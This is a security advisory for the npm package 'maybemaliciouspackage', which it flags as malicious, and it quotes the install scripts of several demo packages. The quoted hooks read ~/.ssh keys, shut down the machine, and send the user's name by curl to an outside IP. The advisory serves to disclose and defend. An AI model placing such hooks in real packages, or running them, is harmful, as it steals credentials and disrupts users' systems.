Malicious Package Affecting maybemaliciouspackage package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

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  • Snyk IDnpm:maybemaliciouspackage:20170917
  • published17 Sept 2017
  • disclosed8 Aug 2017
  • creditJordan Wright

Introduced: 8 Aug 2017

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)

How to fix?

Avoid usage of this package altogether.

Overview

maybemaliciouspackage is a malicious package that is used to demonstrate or test malicious install scripts. These scripts can send your local ssh file to an attacker, or download malicious files and run them in the background.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

On August 1st, 2017 npm deprecated all malicious typosquatting libraries from this list.

The list of packages and their scripts are:

{
  "name": "maybemaliciouspackage",
  "scripts": {
    "postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'"
  }
},
{
  "name": "deasyncp",
  "scripts": {
    "preinstall": "say U WOT M8; shutdown -s now"
  }
},
{
  "name": "harmlesspackage",
  "scripts": {
    "postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH         keys :)' && curl -X GET http://1.3.3.7:1337/\\?$(whoami)"
  }
},
{
  "name": "npm-exploit",
  "scripts": {
    "install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx"
  }
}

CVSS Scores

version 3.1